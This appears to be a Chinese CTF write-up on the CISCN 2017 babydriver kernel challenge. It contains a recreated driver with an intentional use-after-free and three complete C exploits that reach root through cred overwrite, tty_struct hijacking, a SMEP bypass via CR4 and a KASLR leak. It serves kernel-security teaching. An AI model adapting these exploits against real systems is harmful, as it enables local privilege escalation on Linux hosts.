在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析

 

0x00.一切开始之前

对于学习过 kernel pwn 的诸位而言,包括笔者在内的第一道入门题基本上都是 CISCN2017 - babydriver 这一道题,同样地,无论是在 CTF wiki 亦或是其他的 kernel pwn 入门教程当中,这一道题向来都是入门的第一道题(笔者的教程除外)

当然,在笔者看来,这道题当年的解法已然过时,笔者个人认为在当下入门 kernel pwn 最好还是使用我们在用户态下学习的路径——从栈溢出开始再到“堆”

但不可否认的是,时至今日,这一道题仍然具备着相当的的学习价值,仍旧是一道不错的 kernel pwn 入门题,因此笔者今天就来带大家看看——到了2021年,这一道 2017年的“基础的 kernel pwn 入门题”的解法究竟有了些什么变化,又能给我们带来什么样的启发,笔者将借助这篇文章阐述一些 kernel pwn 的利用思路

PRE. babydev.ko 源码复刻

笔者将尝试给出在不同的内核版本下这一道题的解法,因此需要重新编译本题的内核模块,不过笔者在网上未能找到本题的源码,好在题目逻辑并不复杂,笔者选择自己复刻一份

/*
* arttnba3_module.ko
* developed by arttnba3
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "babydev"
#define CLASS_NAME "a3module"

static int major_num;
static struct class * module_class = NULL;
static struct device * module_device = NULL;
static spinlock_t spin;

static int __init kernel_module_init(void);
static void __exit kernel_module_exit(void);
static int a3_module_open(struct inode *, struct file *);
static ssize_t a3_module_read(struct file *, char __user *, size_t, loff_t *);
static ssize_t a3_module_write(struct file *, const char __user *, size_t, loff_t *);
static int a3_module_release(struct inode *, struct file *);
static long a3_module_ioctl(struct file *, unsigned int cmd, long unsigned int param);

static struct file_operations a3_module_fo = 
{
    .owner = THIS_MODULE,
    .unlocked_ioctl = a3_module_ioctl,
    .open = a3_module_open,
    .read = a3_module_read,
    .write = a3_module_write,
    .release = a3_module_release,
};

static struct
{
    void        *device_buf;
    size_t      device_buf_len;
}babydev_struct;

module_init(kernel_module_init);
module_exit(kernel_module_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("arttnba3");

static int __init kernel_module_init(void)
{
    spin_lock_init(&spin);
    printk(KERN_INFO "[arttnba3_TestModule:] Module loaded. Start to register device...\n");
    major_num = register_chrdev(0, DEVICE_NAME, &a3_module_fo);
    if(major_num < 0)
    {
        printk(KERN_INFO "[arttnba3_TestModule:] Failed to register a major number.\n");
        return major_num;
    }    
    printk(KERN_INFO "[arttnba3_TestModule:] Register complete, major number: %d\n", major_num);

    module_class = class_create(THIS_MODULE, CLASS_NAME);
    if(IS_ERR(module_class))
    {
        unregister_chrdev(major_num, DEVICE_NAME);
        printk(KERN_INFO "[arttnba3_TestModule:] Failed to register class device!\n");
        return PTR_ERR(module_class);
    }
    printk(KERN_INFO "[arttnba3_TestModule:] Class device register complete.\n");

    module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);
    if(IS_ERR(module_device))
    {
        class_destroy(module_class);
        unregister_chrdev(major_num, DEVICE_NAME);
        printk(KERN_INFO "[arttnba3_TestModule:] Failed to create the device!\n");
        return PTR_ERR(module_device);
    }
    printk(KERN_INFO "[arttnba3_TestModule:] Module register complete.\n");
    return 0;
}

static void __exit kernel_module_exit(void)
{
    printk(KERN_INFO "[arttnba3_TestModule:] Start to clean up the module.\n");
    device_destroy(module_class, MKDEV(major_num, 0));
    class_destroy(module_class);
    unregister_chrdev(major_num, DEVICE_NAME);
    printk(KERN_INFO "[arttnba3_TestModule:] Module clean up complete. See you next time.\n");
}

static long a3_module_ioctl(struct file * __file, unsigned int cmd, long unsigned int param)
{
    if (cmd == 65537)
    {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = kmalloc(param, GFP_ATOMIC);
        babydev_struct.device_buf_len = param;
        printk(KERN_INFO "alloc done\n");
        return 0;
    }
    else
    {
        printk(KERN_INFO "default arg is %ld\n", param);
        return -22;
    }
}

static int a3_module_open(struct inode * __inode, struct file * __file)
{
    babydev_struct.device_buf = kmalloc(0x40, GFP_ATOMIC);
    babydev_struct.device_buf_len = 0x40;
    printk(KERN_INFO "device open\n");
    return 0;
}

static int a3_module_release(struct inode * __inode, struct file * __file)
{
    kfree(babydev_struct.device_buf);
    printk(KERN_INFO "device release\n");
    return 0;
}

static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)
{
    size_t result;

    if (!babydev_struct.device_buf)
        return -1LL;
    result = -2LL;

    if (babydev_struct.device_buf_len > size)
    {
        copy_to_user(user_buf, babydev_struct.device_buf, size);
        result = size;
    }
    return result;
}

static ssize_t a3_module_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)
{
    size_t result;

    if (!babydev_struct.device_buf )
        return -1LL;
    result = -2LL;
    if ( babydev_struct.device_buf_len > size)
    {
        copy_from_user(babydev_struct.device_buf, user_buf, size);
        result = size;
    }
    return result;
}

 

0x01.kernel 4.4.72 —— 最初的babydriver

我们首先来看这道题最初是什么样子的,下面是笔者刚入门时写的 WP

分析

解压,惯例的磁盘镜像 + 内核镜像 + 启动脚本结构

查看boot.sh

#!/bin/bash

qemu-system-x86_64 -initrd core.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'  -monitor /dev/null -m 128M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -s
  • 开启了SMEP保护

解压磁盘镜像看看有没有什么可以利用的东西

$ mkdir core
$ cp ./core.cpio ./core
$ cd core
$ cpio -idv < ./core.cpio

查看其启动脚本init

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

其中加载了一个叫做babydriver.ko的驱动,按照惯例这个就是有着漏洞的驱动

惯例的checksec,发现其只开了NX保护,整挺好

拖入IDA进行分析

在驱动被加载时会初始化一个设备节点文件/dev/babydev

在我们使用open()打开设备文件时该驱动会分配一个chunk,该chunk的指针储存于全局变量babydev_struct

使用ioctl进行通信则可以重新申请内存,改变该chunk的大小

在关闭设备文件时会释放该chunk,但是并未将指针置NULL,存在UAF漏洞

read和write就是简单的读写该chunk,便不贴图了

漏洞利用:Kernel UAF

若是我们的程序打开两次设备babydev,由于其chunk储存在全局变量中,那么我们将会获得指向同一个chunk的两个指针

而在关闭设备后该chunk虽然被释放,但是指针未置0,我们便可以使用另一个文件描述符操作该chunk,即Use After Free漏洞

而通过ioctl我们便可以调整这个chunk的大小,,那么只要我们将该chunk的大小设为一个cred结构体的大小后关闭该设备,之后fork()出新进程,那么内核中该空闲chunk就会被分配给新的进程作为其cred结构体,而我们此时还有另一个文件描述符可以操纵该内核模块中的该chunk,只要修改该cred结构体的 euid 为root便可以完成提权

exploit

最终的exp如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

int main(void)
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");

    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);

    int pid = fork();

    if(pid < 0)
    {
        printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n");
        return -1;
    }
    else if(pid == 0) // the child thread
    {
        char buf[30] = {0};
        write(fd2, buf, 28);

        if(getuid() == 0)
        {
            printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
            system("/bin/sh");
            return 0;
        }
        else
        {
            printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n");
            return -1;
        }
    }
    else // the parent thread
    {
        wait(NULL);//waiting for the child
    }

    return 0;
}

本地测试的话就放进磁盘重新打包后qemu起系统,运行即可获得root shell

 

0x02.kernel 4.5 —— cred_jar 与 kmalloc-192 分离

现在我们将目光放到 kernel 版本 4.5——离本题最近的一个版本,我们来看 cred_jar 的初始化过程,见 kernel/cred.c

4.4.72

/*
 * initialise the credentials stuff
 */
void __init cred_init(void)
{
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
                     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}

4.5

/*
 * initialise the credentials stuff
 */
void __init cred_init(void)
{
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
            SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

我们可以注意到,在 slab 的创建 flag 中多了 一个 SLAB_ACCOUNT,这意味着 cred_jar 与 kmalloc-192 将不再合并,因此我们无法通过 kmalloc 直接分配到 cred_jar 中的 object,因此我们需要寻找别的方式来提权

这里我们选择通过 tty 设备来完成提权

漏洞利用:Kernel UAF + stack migitation + SMEP bypass + ret2usr

内核符号表可读(白给),我们能够很方便地获得相应内核函数的地址

没有开启 kaslr,所以可以直接从 vmlinux 中提取gadget地址,这里 ROPgadget 和 ropper 半斤八两,建议两个配合着一起用,也可以用 pwntools 的 ELF,个人感觉更加方便

由于开启了 SMEP 保护,无法直接 ret2usr,故我们需要改变 cr4 寄存器的值以 bypass smep

观察到在内核中有着如下的 gadget 可以很方便地改变 cr4 寄存器的值:

接下来考虑如何通过 UAF 劫持程序执行流

tty_operations:tty 设备操作关联函数表

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations

那么我们不难想到的是我们可以通过 UAF 劫持 /dev/ptmx 这个设备的 tty_struct 结构体与其内部的 tty_operations 函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针

由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations结构体

内核中没有类似one_gadget一类的东西,因此为了完成ROP我们还需要进行一次栈迁移

使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持tty_operaionts结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:

我们不难观察到,在我们调用tty_operations->write时,其rax寄存器中存放的便是tty_operations结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax的gadget,便能够成功地将栈迁移到tty_operations结构体的开头

使用 ROPgadget 我们可以找到一条交换 rsp 与 rax 后还能控制程序执行流的 gadget

那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链

tty_operations结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可

FINAL EXPLOIT

最终的exploit应当如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define XCHG_RAX_RSP_RET 0xffffffff8155b280
#define POP_RDI_RET 0xffffffff811bf66d
#define POP_RAX_RET 0xffffffff8100ccce
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0
#define SWAPGS_POP_RBP_RET 0xffffffff81063674
#define IRETQ 0xffffffff8107c1e8

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

int main(void)
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();

    //get the addr
    FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
    if(sym_table_fd < 0)
    {
        printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
    }
    char buf[0x50], type[0x10];
    size_t addr;
    while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
    {
        if(prepare_kernel_cred && commit_creds)
            break;

        if(!commit_creds && !strcmp(buf, "commit_creds"))
        {
            commit_creds = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
            continue;
        }
    }

    size_t rop[0x20], p = 0;
    rop[p++] = POP_RDI_RET;
    rop[p++] = 0x6f0;
    rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
    rop[p++] = 0;
    rop[p++] = getRootPrivilige;
    rop[p++] = SWAPGS_POP_RBP_RET;
    rop[p++] = 0;
    rop[p++] = IRETQ;
    rop[p++] = getRootShell;
    rop[p++] = user_cs;
    rop[p++] = user_rflags;
    rop[p++] = user_sp;
    rop[p++] = user_ss;

    size_t fake_op[0x30];
    for(int i = 0; i < 0x10; i++)
        fake_op[i] = XCHG_RAX_RSP_RET;

    fake_op[0] = POP_RAX_RET;
    fake_op[1] = rop;

    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    size_t fake_tty[0x20];
    int fd3 = open("/dev/ptmx", 2);
    read(fd2, fake_tty, 0x40);
    fake_tty[3] = fake_op;
    write(fd2, fake_tty, 0x40);

    write(fd3, buf, 0x8);

    return 0;
}

本地打包,运行,成功提权到root

 

0x03.加大难度(I)——设置kptr_restrict,开启KASLR

作为一道入门级别的题目,这一道题并没有开启 KASLR,同时内核符号表 /proc/kallsyms 可读,内核的一切在我们面前几乎是一览无余,但如果开启了 KASLR 且内核符号表不可读呢?这个时候我们又应该如何进行利用?

在文件系统 init 中添加如下语句:

echo 2 > /proc/sys/kernel/kptr_restrict

在启动脚本的 append 项添加 kaslr

泄露内核基址

在相当的一部分 kernel pwn 题目甚至是真实世界的 cve 的 poc 中,对 tty 设备进行利用向来都是最热门的手法之一,tty 设备对于我们内核攻击者而言是一个十分万能的工具箱——她不仅能帮助我们控制内核执行流,还能够帮助我们泄露内核中的相关地址

ptm_unix98_ops && pty_unix98_ops

由于我们已经获得了一个 tty_struct,故可以直接通过 tty_struct 中的 tty_operations 泄露地址

在 ptmx 被打开时内核通过 alloc_tty_struct() 分配 tty_struct 的内存空间,之后会将 tty_operations 初始化为全局变量 ptm_unix98_opspty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址

在调试阶段我们可以先关掉 kaslr 开 root 从 /proc/kallsyms 中读取其偏移

开启了 kaslr 的内核在内存中的偏移依然以内存页为粒度,故我们可以通过比对 tty_operations 地址的低三16进制位来判断是 ptm_unix98_ops 还是 pty_unix98_ops

FINAL EXPLOIT

成功泄露内核基址之后,剩下的步骤与前面就没有差别了,最终的 exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define XCHG_RAX_RSP_RET 0xffffffff8155b280
#define POP_RDI_RET 0xffffffff811bf66d
#define POP_RAX_RET 0xffffffff8100ccce
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004dc0
#define SWAPGS_POP_RBP_RET 0xffffffff81063674
#define IRETQ 0xffffffff8107c1e8
#define PREPARE_KERNEL_CRED 0xffffffff810a15a0
#define COMMIT_CREDS 0xffffffff810a11b0
#define PTY_UNIX98_OPS 0xffffffff81a74700
#define PTM_UNIX98_OPS 0xffffffff81a74820

size_t commit_creds = NULL, prepare_kernel_cred = NULL, kernel_offset = 0, kernel_base = 0xffffffff81000000;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

int main(void)
{
    int         fd1, fd2, tty_fd;
    size_t      rop[0x100];
    size_t      tty_data[0x100];
    size_t      fake_ops[0x100];
    size_t      tty_ops;


    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();

    // construct UAF and get a tty_struct
    fd1 = open("/dev/babydev", 2);
    fd2 = open("/dev/babydev", 2);

    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    tty_fd = open("/dev/ptmx", 2);

    // get tty data and calculate the kernel base
    read(fd2, tty_data, 0x40);
    tty_ops = *(size_t*)(tty_data + 3);
    kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
    kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

    prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;

    printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
    printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
    printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
    printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);

    // construct rop chain
    int p = 0;
    rop[p++] = POP_RDI_RET + kernel_offset;
    rop[p++] = 0x6f0;
    rop[p++] = MOV_CR4_RDI_POP_RBP_RET + kernel_offset;
    rop[p++] = 0;
    rop[p++] = getRootPrivilige;
    rop[p++] = SWAPGS_POP_RBP_RET + kernel_offset;
    rop[p++] = 0;
    rop[p++] = IRETQ + kernel_offset;
    rop[p++] = getRootShell;
    rop[p++] = user_cs;
    rop[p++] = user_rflags;
    rop[p++] = user_sp;
    rop[p++] = user_ss;

    for(int i = 0; i < 0x10; i++)
        fake_ops[i] = XCHG_RAX_RSP_RET + kernel_offset;
    fake_ops[0] = POP_RAX_RET + kernel_offset;
    fake_ops[1] = rop;

    tty_data[3] = fake_ops;

    // hijack tty_struct and tty_operations
    write(fd2, tty_data, 0x40);

    // triger
    write(tty_fd, "arttnba3", 0x8);

    return 0;
}

本地打包,运行,get root

 

0xFF.What’s mote?

在下篇中笔者将阐述:

  • KPTI bypass 的基本手法
  • seq_operations 与系统调用过程结合利用构造 ROP
  • userfaultfd 与 setattr 的利用
  • ……
(完)